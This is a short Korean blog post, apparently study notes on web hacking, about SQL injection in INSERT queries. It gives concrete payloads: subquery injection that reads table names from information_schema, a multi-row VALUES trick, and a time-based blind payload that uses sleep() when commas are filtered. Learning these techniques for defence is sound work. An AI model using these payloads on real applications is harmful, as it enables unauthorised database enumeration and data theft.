본문 바로가기
정보보안(웹해킹)/SQLInjection

SQL Injection in INSERT query

by 끊임없는정진 2023. 1. 15.

▶ INSERT query

INSERT query는 테이블 내에 데이터를 입력할 때 쓸 수 있는 쿼리이다. INSERT 쿼리의 양식은 아마도 다음과 같을 것이다.

INSERT INTO TABLE(a,b,c) values (d,e,f)
INSERT INTO TABLE SET a='d', b='e', c='f'

 

▶INSERT query SQLi

아마도 다음과 같이 수행할 수 있을 것이다.

쿼리 - insert into table(a,b,c) values ('d','사용자입력값','f')
사용자입력값 - e',(select table_name from information_schema.tables limit 1))#
실제쿼리 - insert into table(a,b,c) values ('d','e',(select table_name from information_schema.tables limit 1))#','f')

마찬가지로 INSERT INTO TABLE SET a='d', b='e', c='f'와 같이 쿼리문을 구성했다면, e',b=SELECT database(),c='f 와 같이 Injection을 수행하면 된다. 확인해본 결과, INSERT 문의 뒷부분 값만 들어간다.

 

a가 출력값이라면 어떻게 Injection을 해야할까? value 뒤에 ()가 여러개 와도 된다는 점을 이용한다면 다음과 같이 할 수 있다.

쿼리 - insert into table(a,b,c) values ('d','사용자입력값','f')
사용자입력값 - e','f'), ((select table_name from information_schema.tables limit 1),'e','f')#
실제쿼리 - insert into table(a,b,c) values ('d','e','f'), ((select table_name from information_schema.tables limit 1),'e','f')#','f')

 

이러면 d,e,f가 먼저 들어가고 다음에 table_name,e,f가 한번 더 들어간다. 

 

그런데 만약 , 가 필터링 되어 있다면? Time based blind sql injection으로 하면 된다.

쿼리 - insert into table(a,b,c) values ('d','사용자입력값','f')
사용자입력값 - e',if(ascii(substring((select table_name from information_schema.tables limit 1),1,1))>1,sleep(2),1))#
실제쿼리 - insert into table(a,b,c) values ('d','e',if(ascii(substring((select table_name from information_schema.tables limit 1),1,1))>1,sleep(2),1))#','f')

 

 

 

출처 : Rubiya님 블로그

댓글